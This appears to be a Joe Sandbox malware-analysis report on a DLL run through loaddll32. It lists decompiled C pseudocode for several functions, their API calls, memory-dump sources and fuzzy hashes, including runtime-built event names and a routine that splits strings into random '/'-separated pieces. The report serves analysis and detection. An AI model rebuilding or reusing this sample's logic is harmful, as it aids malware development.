                  • Opcode ID: b5b3139999563f73bbf851c92afd4b2adb501d06cb14de896e2145fbb7fd6802
                  • Instruction ID: db7fb900f8bbb2477394ece9a1b8188610ad7c30e2bebefef7e70495d3e2e384
                  • Opcode Fuzzy Hash: b5b3139999563f73bbf851c92afd4b2adb501d06cb14de896e2145fbb7fd6802
                  • Instruction Fuzzy Hash: 7E41B131A00269ABDB249F68CC44BEE777AEF45310F104569ED19A7280EB70EAC5DF84
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C5454F Relevance: 6.1, APIs: 4, Instructions: 112COMMON
                  Download Yara Rule
                  C-Code - Quality: 39%
                  			E02C5454F(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				intOrPtr _t36;
				intOrPtr* _t37;
				intOrPtr* _t39;
				void* _t53;
				long _t58;
				void* _t59;

				_t53 = __ecx;
				_t59 = __eax;
				_t58 = 0;
				ResetEvent( *(__eax + 0x1c));
				_push( &_v8);
				_push(4);
				_push( &_v20);
				_push( *((intOrPtr*)(_t59 + 0x18)));
				if( *0x2c5a160() != 0) {
					L5:
					if(_v8 == 0) {
						 *((intOrPtr*)(_t59 + 0x30)) = 0;
						L21:
						return _t58;
					}
					 *0x2c5a174(0, 1,  &_v12);
					if(0 != 0) {
						_t58 = 8;
						goto L21;
					}
					_t36 = E02C533DC(0x1000);
					_v16 = _t36;
					if(_t36 == 0) {
						_t58 = 8;
						L18:
						_t37 = _v12;
						 *((intOrPtr*)( *_t37 + 8))(_t37);
						goto L21;
					}
					_push(0);
					_push(_v8);
					_push( &_v20);
					while(1) {
						_t39 = _v12;
						_t56 =  *_t39;
						 *((intOrPtr*)( *_t39 + 0x10))(_t39);
						ResetEvent( *(_t59 + 0x1c));
						_push( &_v8);
						_push(0x1000);
						_push(_v16);
						_push( *((intOrPtr*)(_t59 + 0x18)));
						if( *0x2c5a160() != 0) {
							goto L13;
						}
						_t58 = GetLastError();
						if(_t58 != 0x3e5) {
							L15:
							E02C561DA(_v16);
							if(_t58 == 0) {
								_t58 = E02C52B18(_v12, _t59);
							}
							goto L18;
						}
						_t58 = E02C516B2( *(_t59 + 0x1c), _t56, 0xffffffff);
						if(_t58 != 0) {
							goto L15;
						}
						_t58 =  *((intOrPtr*)(_t59 + 0x28));
						if(_t58 != 0) {
							goto L15;
						}
						L13:
						_t58 = 0;
						if(_v8 == 0) {
							goto L15;
						}
						_push(0);
						_push(_v8);
						_push(_v16);
					}
				}
				_t58 = GetLastError();
				if(_t58 != 0x3e5) {
					L4:
					if(_t58 != 0) {
						goto L21;
					}
					goto L5;
				}
				_t58 = E02C516B2( *(_t59 + 0x1c), _t53, 0xffffffff);
				if(_t58 != 0) {
					goto L21;
				}
				_t58 =  *((intOrPtr*)(_t59 + 0x28));
				goto L4;
			}














                  0x02c5454f
                  0x02c5455e
                  0x02c54563
                  0x02c54565
                  0x02c5456a
                  0x02c5456b
                  0x02c54570
                  0x02c54571
                  0x02c5457c
                  0x02c545ad
                  0x02c545b2
                  0x02c54675
                  0x02c54678
                  0x02c5467e
                  0x02c5467e
                  0x02c545bf
                  0x02c545c7
                  0x02c54672
                  0x00000000
                  0x02c54672
                  0x02c545d2
                  0x02c545d7
                  0x02c545dc
                  0x02c54664
                  0x02c54665
                  0x02c54665
                  0x02c5466b
                  0x00000000
                  0x02c5466b
                  0x02c545e2
                  0x02c545e4
                  0x02c545ea
                  0x02c545eb
                  0x02c545eb
                  0x02c545ee
                  0x02c545f1
                  0x02c545f7
                  0x02c545fc
                  0x02c545fd
                  0x02c54602
                  0x02c54605
                  0x02c54610
                  0x00000000
                  0x00000000
                  0x02c54618
                  0x02c54620
                  0x02c54649
                  0x02c5464c
                  0x02c54653
                  0x02c5465e
                  0x02c5465e
                  0x00000000
                  0x02c54653
                  0x02c5462c
                  0x02c54630
                  0x00000000
                  0x00000000
                  0x02c54632
                  0x02c54637
                  0x00000000
                  0x00000000
                  0x02c54639
                  0x02c54639
                  0x02c5463e
                  0x00000000
                  0x00000000
                  0x02c54640
                  0x02c54641
                  0x02c54644
                  0x02c54644
                  0x02c545eb
                  0x02c54584
                  0x02c5458c
                  0x02c545a5
                  0x02c545a7
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c545a7
                  0x02c54598
                  0x02c5459c
                  0x00000000
                  0x00000000
                  0x02c545a2
                  0x00000000

                  APIs
                  • ResetEvent.KERNEL32(?), ref: 02C54565
                  • GetLastError.KERNEL32 ref: 02C5457E
                    • Part of subcall function 02C516B2: WaitForMultipleObjects.KERNEL32(00000002,02C57C47,00000000,02C57C47,?,?,?,02C57C47,0000EA60), ref: 02C516CD
                  • ResetEvent.KERNEL32(?), ref: 02C545F7
                  • GetLastError.KERNEL32 ref: 02C54612
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: ErrorEventLastReset$MultipleObjectsWait
                  • String ID:
                  • API String ID: 2394032930-0
                  • Opcode ID: 2845bec815d2143e3ed6c3b37b30ebebd12393f2335134627a21782d8c95af59
                  • Instruction ID: 8913762109e72708ee48e267bf5ff61e68764ea23667f19c38deb08b9edd34ba
                  • Opcode Fuzzy Hash: 2845bec815d2143e3ed6c3b37b30ebebd12393f2335134627a21782d8c95af59
                  • Instruction Fuzzy Hash: 4D31B132A40624EBCB259FA5CC44B6E77FAAFC4350F140A68E915A7190EF70EAC58B54
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C549D0 Relevance: 6.1, APIs: 4, Instructions: 96synchronizationCOMMON
                  Download Yara Rule
                  C-Code - Quality: 87%
                  			E02C549D0(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				short* _t19;
				void* _t25;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0x2c5a310; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x2c5a348; // 0xe7d5a8
				_t3 = _t8 + 0x2c5b7b4; // 0x61636f4c
				_t25 = 0;
				_t30 = E02C574EC(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x2c5a34c, 1, 0, _t30);
					E02C561DA(_t30);
				}
				_t12 =  *0x2c5a2fc; // 0x2000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E02C530D5() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E02C537DF(_t32, 0);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t19 =  *0x2c5a124( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 = _t19 + 2;
					}
					_t31 = E02C523C4(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}














                  0x02c549d1
                  0x02c549d8
                  0x02c549e2
                  0x02c549e6
                  0x02c549ec
                  0x02c549fb
                  0x02c54a02
                  0x02c54a06
                  0x02c54a18
                  0x02c54a1a
                  0x02c54a1a
                  0x02c54a1f
                  0x02c54a26
                  0x02c54a7d
                  0x02c54a7d
                  0x02c54a83
                  0x02c54a85
                  0x02c54a85
                  0x02c54a8f
                  0x02c54a93
                  0x02c54aa5
                  0x02c54aa5
                  0x02c54aa9
                  0x02c54aaf
                  0x02c54aaf
                  0x00000000
                  0x02c54a3f
                  0x02c54a44
                  0x02c54a4c
                  0x02c54a50
                  0x02c54a54
                  0x02c54a54
                  0x02c54a61
                  0x02c54a65
                  0x02c54a69
                  0x02c54abe
                  0x02c54ac4
                  0x02c54ac4
                  0x02c54a77
                  0x02c54a7b
                  0x02c54ab2
                  0x02c54ab4
                  0x02c54ab7
                  0x02c54ab7
                  0x00000000
                  0x02c54ab4
                  0x02c54a7b
                  0x00000000
                  0x02c54a65

                  APIs
                    • Part of subcall function 02C574EC: lstrlen.KERNEL32(00000005,00000000,43175AC3,00000027,00000000,03AD9DD8,00000000,?,?,43175AC3,00000005,02C5A00C,4D283A53,?,?), ref: 02C57522
                    • Part of subcall function 02C574EC: lstrcpy.KERNEL32(00000000,00000000), ref: 02C57546
                    • Part of subcall function 02C574EC: lstrcat.KERNEL32(00000000,00000000), ref: 02C5754E
                  • CreateEventA.KERNEL32(02C5A34C,00000001,00000000,00000000,61636F4C,00000001,00000000,?,?,00000000,?,02C56A95,?,?,?), ref: 02C54A11
                    • Part of subcall function 02C561DA: RtlFreeHeap.NTDLL(00000000,00000000,02C56383,00000000,?,00000000,00000000), ref: 02C561E6
                  • WaitForSingleObject.KERNEL32(00000000,00004E20,02C56A95,00000000,00000000,?,00000000,?,02C56A95,?,?,?), ref: 02C54A71
                  • WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,?,?,00000000,?,02C56A95,?,?,?), ref: 02C54A9F
                  • CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,?,?,00000000,?,02C56A95,?,?,?), ref: 02C54AB7
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
                  • String ID:
                  • API String ID: 73268831-0
                  • Opcode ID: 8b5e1906ec378a68292551d9fbab93478d1eaeefecd90678a588afce469654a7
                  • Instruction ID: f400062c8049c4f4146777dde721fa5831dd379279001a83ff1d6089cc0d2b92
                  • Opcode Fuzzy Hash: 8b5e1906ec378a68292551d9fbab93478d1eaeefecd90678a588afce469654a7
                  • Instruction Fuzzy Hash: C821E632A803719BC7759E658C44B6B72E9EFC8718B050B25FD55A7140DB30C9C09B9C
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C569E6 Relevance: 6.1, APIs: 4, Instructions: 87sleepCOMMON
                  Download Yara Rule
                  C-Code - Quality: 39%
                  			E02C569E6(void* __ecx, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				intOrPtr _v12;
				void* _v16;
				void* _v28;
				char _v32;
				void* __esi;
				void* _t29;
				void* _t38;
				signed int* _t39;
				void* _t40;

				_t36 = __ecx;
				_v32 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v12 = _a4;
				_t38 = E02C52A3D(__ecx,  &_v32);
				if(_t38 != 0) {
					L12:
					_t39 = _a8;
					L13:
					if(_t39 != 0 && ( *_t39 & 0x00000001) == 0) {
						_t23 =  &(_t39[1]);
						if(_t39[1] != 0) {
							E02C528B3(_t23);
						}
					}
					return _t38;
				}
				if(E02C56ADC(0x40,  &_v16) != 0) {
					_v16 = 0;
				}
				_t40 = CreateEventA(0x2c5a34c, 1, 0,  *0x2c5a3e4);
				if(_t40 != 0) {
					SetEvent(_t40);
					Sleep(0xbb8);
					CloseHandle(_t40);
				}
				_push( &_v32);
				if(_a12 == 0) {
					_t29 = E02C55704(_t36);
				} else {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_t29 = E02C54C94(_t36);
				}
				_t41 = _v16;
				_t38 = _t29;
				if(_v16 != 0) {
					E02C57220(_t41);
				}
				if(_t38 != 0) {
					goto L12;
				} else {
					_t39 = _a8;
					_t38 = E02C549D0( &_v32, _t39);
					goto L13;
				}
			}












                  0x02c569e6
                  0x02c569f3
                  0x02c569f9
                  0x02c569fa
                  0x02c569fb
                  0x02c569fc
                  0x02c569fd
                  0x02c56a01
                  0x02c56a0d
                  0x02c56a11
                  0x02c56a99
                  0x02c56a99
                  0x02c56a9c
                  0x02c56a9e
                  0x02c56aa6
                  0x02c56aac
                  0x02c56aaf
                  0x02c56aaf
                  0x02c56aac
                  0x02c56aba
                  0x02c56aba
                  0x02c56a24
                  0x02c56a26
                  0x02c56a26
                  0x02c56a3d
                  0x02c56a41
                  0x02c56a44
                  0x02c56a4f
                  0x02c56a56
                  0x02c56a56
                  0x02c56a5f
                  0x02c56a63
                  0x02c56a71
                  0x02c56a65
                  0x02c56a65
                  0x02c56a66
                  0x02c56a67
                  0x02c56a68
                  0x02c56a69
                  0x02c56a6a
                  0x02c56a6a
                  0x02c56a76
                  0x02c56a79
                  0x02c56a7d
                  0x02c56a7f
                  0x02c56a7f
                  0x02c56a86
                  0x00000000
                  0x02c56a88
                  0x02c56a88
                  0x02c56a95
                  0x00000000
                  0x02c56a95

                  APIs
                  • CreateEventA.KERNEL32(02C5A34C,00000001,00000000,00000040,?,?,74D0F710,00000000,74D0F730), ref: 02C56A37
                  • SetEvent.KERNEL32(00000000), ref: 02C56A44
                  • Sleep.KERNEL32(00000BB8), ref: 02C56A4F
                  • CloseHandle.KERNEL32(00000000), ref: 02C56A56
                    • Part of subcall function 02C55704: WaitForSingleObject.KERNEL32(00000000,?,?,?,02C56A76,?,02C56A76,?,?,?,?,?,02C56A76,?), ref: 02C557DE
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: Event$CloseCreateHandleObjectSingleSleepWait
                  • String ID:
                  • API String ID: 2559942907-0
                  • Opcode ID: 0880e29faee6634834501294d7324a761abb08ba86d45dde2a59b128395b8ccd
                  • Instruction ID: e801a04752cf3f3be8a27389bc20dff27e47db17577d562ef8c2cb5d09371151
                  • Opcode Fuzzy Hash: 0880e29faee6634834501294d7324a761abb08ba86d45dde2a59b128395b8ccd
                  • Instruction Fuzzy Hash: 1E21B672D40239ABDF20AFF588849DE77BDEF84314B558925FE12A7100D734DAC58B94
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB6207C Relevance: 6.1, APIs: 4, Instructions: 82COMMON
                  Download Yara Rule
                  APIs
                    • Part of subcall function 6CB63196: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6CB61581,?,00000000,-00000008), ref: 6CB63242
                  • GetLastError.KERNEL32 ref: 6CB620E0
                  • __dosmaperr.LIBCMT ref: 6CB620E7
                  • GetLastError.KERNEL32(?,?,?,?), ref: 6CB62121
                  • __dosmaperr.LIBCMT ref: 6CB62128
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: ErrorLast__dosmaperr$ByteCharMultiWide
                  • String ID:
                  • API String ID: 1913693674-0
                  • Opcode ID: 8bb20e68791ab6d936f440a8a79b664616bed1116d74674104e6ee9a63a3ef53
                  • Instruction ID: 6ce978ee5c67fa0675561201ec2996f9bc66b1f6c316b647a07934c664f5bad4
                  • Opcode Fuzzy Hash: 8bb20e68791ab6d936f440a8a79b664616bed1116d74674104e6ee9a63a3ef53
                  • Instruction Fuzzy Hash: 6121C271648285AFAB109F67C89889FB7BEFF0436C7048519E959D7E50D730EC448BA2
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C54461 Relevance: 6.1, APIs: 4, Instructions: 76sleepstringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 78%
                  			E02C54461(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0;
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E02C533DC(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16);
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}














                  0x02c5446d
                  0x02c54471
                  0x02c54472
                  0x02c54473
                  0x02c54475
                  0x02c54477
                  0x02c5447a
                  0x02c5447f
                  0x02c54516
                  0x02c5451d
                  0x02c5451d
                  0x02c54488
                  0x02c5448f
                  0x02c5449f
                  0x02c5449f
                  0x02c544a5
                  0x02c544a7
                  0x02c544ac
                  0x02c544b5
                  0x02c544bb
                  0x02c544c0
                  0x02c544cb
                  0x02c544cf
                  0x02c544d1
                  0x02c544d2
                  0x02c544db
                  0x02c544df
                  0x02c544f0
                  0x02c544e1
                  0x02c544e6
                  0x02c544eb
                  0x02c544fa
                  0x02c544fa
                  0x02c544cf
                  0x02c54500
                  0x02c54506
                  0x02c54506
                  0x02c5450f
                  0x02c54514
                  0x02c54514
                  0x00000000

                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: FreeSleepStringlstrlenmemcpy
                  • String ID:
                  • API String ID: 1198164300-0
                  • Opcode ID: 214211db85b3a42366fde3af74258d31028574287378fb59b0b8d2bc1102eaca
                  • Instruction ID: e7efa7ed93a2f53fc381a0d4d54239c684f842565c32f0ee308245f24f0d276b
                  • Opcode Fuzzy Hash: 214211db85b3a42366fde3af74258d31028574287378fb59b0b8d2bc1102eaca
                  • Instruction Fuzzy Hash: 55216075900219FFCB15DFA4D88499EBBB5FF88355B1085A9ED05A7200EB30DA81DB54
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C52708 Relevance: 6.1, APIs: 4, Instructions: 61memorystringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 68%
                  			E02C52708(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x2c5a2d8, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x2c5a2f0; // 0x202d11bd
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x2c5a2f0 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

















                  0x02c52710
                  0x02c52713
                  0x02c52719
                  0x02c52731
                  0x02c52733
                  0x02c52738
                  0x02c5273a
                  0x02c5273d
                  0x02c5273f
                  0x02c52742
                  0x02c52744
                  0x02c52744
                  0x02c52746
                  0x02c52751
                  0x02c52756
                  0x02c52767
                  0x02c5276f
                  0x02c52774
                  0x02c52777
                  0x02c5277a
                  0x02c5277c
                  0x02c5277f
                  0x02c52782
                  0x02c52782
                  0x02c52785
                  0x02c52790
                  0x02c52795
                  0x02c5279f

                  APIs
                  • lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,02C56708,00000000,?,7491C740,02C53ECE,00000000,03AD9600), ref: 02C52713
                  • RtlAllocateHeap.NTDLL(00000000,?), ref: 02C5272B
                  • memcpy.NTDLL(00000000,03AD9600,-00000008,?,?,?,02C56708,00000000,?,7491C740,02C53ECE,00000000,03AD9600), ref: 02C5276F
                  • memcpy.NTDLL(00000001,03AD9600,00000001,02C53ECE,00000000,03AD9600), ref: 02C52790
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: memcpy$AllocateHeaplstrlen
                  • String ID:
                  • API String ID: 1819133394-0
                  • Opcode ID: 94ada37d060a6c60056064153102f43e197e63034b73dd9b759072b47ce1b519
                  • Instruction ID: 29400984dc51304b26c97fce908c7256bfb6a6b689430dbde40900df2ead27ca
                  • Opcode Fuzzy Hash: 94ada37d060a6c60056064153102f43e197e63034b73dd9b759072b47ce1b519
                  • Instruction Fuzzy Hash: D0110672A00224AFD710CA69DC85E9E7FEEEBD43A0B140276F804E7140E771DE9097A4
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C57843 Relevance: 6.0, APIs: 4, Instructions: 40COMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02C57843(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}






                  0x02c5784d
                  0x02c57851
                  0x02c57866
                  0x02c57868
                  0x02c5786d
                  0x02c57873
                  0x02c57875
                  0x02c5787a
                  0x02c57885
                  0x02c5787c
                  0x02c5787c
                  0x02c5787c
                  0x02c5787a
                  0x02c57893

                  APIs
                  • memset.NTDLL ref: 02C57851
                  • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,74CF81D0,00000000,00000000), ref: 02C57866
                  • CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 02C57873
                  • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,02C53F34,00000000,?), ref: 02C57885
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: CreateEvent$CloseHandlememset
                  • String ID:
                  • API String ID: 2812548120-0
                  • Opcode ID: 07ec3f0f58be17bac89c0ec3793355305b529d9c363620fe84a0d48041d0b47c
                  • Instruction ID: 2d13ecaa48a9746e2011d6fb9a93cc678a5237ccfcf3750e91ab7ab2b63d5c58
                  • Opcode Fuzzy Hash: 07ec3f0f58be17bac89c0ec3793355305b529d9c363620fe84a0d48041d0b47c
                  • Instruction Fuzzy Hash: CBF05EB1504318BFD3206F26DCC4C2BFBACEF8519CB114E3EF546A2111C675E9998AA0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C53230 Relevance: 6.0, APIs: 4, Instructions: 29memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E02C53230() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x2c5a30c; // 0x214
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x2c5a35c; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x2c5a30c; // 0x214
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x2c5a2d8; // 0x36e0000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}








                  0x02c53230
                  0x02c53237
                  0x02c53281
                  0x02c53283
                  0x02c53283
                  0x02c5323b
                  0x02c53241
                  0x02c53246
                  0x02c5324a
                  0x02c53250
                  0x02c53257
                  0x00000000
                  0x00000000
                  0x02c53259
                  0x02c5325e
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c5325e
                  0x02c53260
                  0x02c53268
                  0x02c5326b
                  0x02c5326b
                  0x02c53271
                  0x02c53278
                  0x02c5327b
                  0x02c5327b
                  0x00000000

                  APIs
                  • SetEvent.KERNEL32(00000214,00000001,02C5109A), ref: 02C5323B
                  • SleepEx.KERNEL32(00000064,00000001), ref: 02C5324A
                  • CloseHandle.KERNEL32(00000214), ref: 02C5326B
                  • HeapDestroy.KERNEL32(036E0000), ref: 02C5327B
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
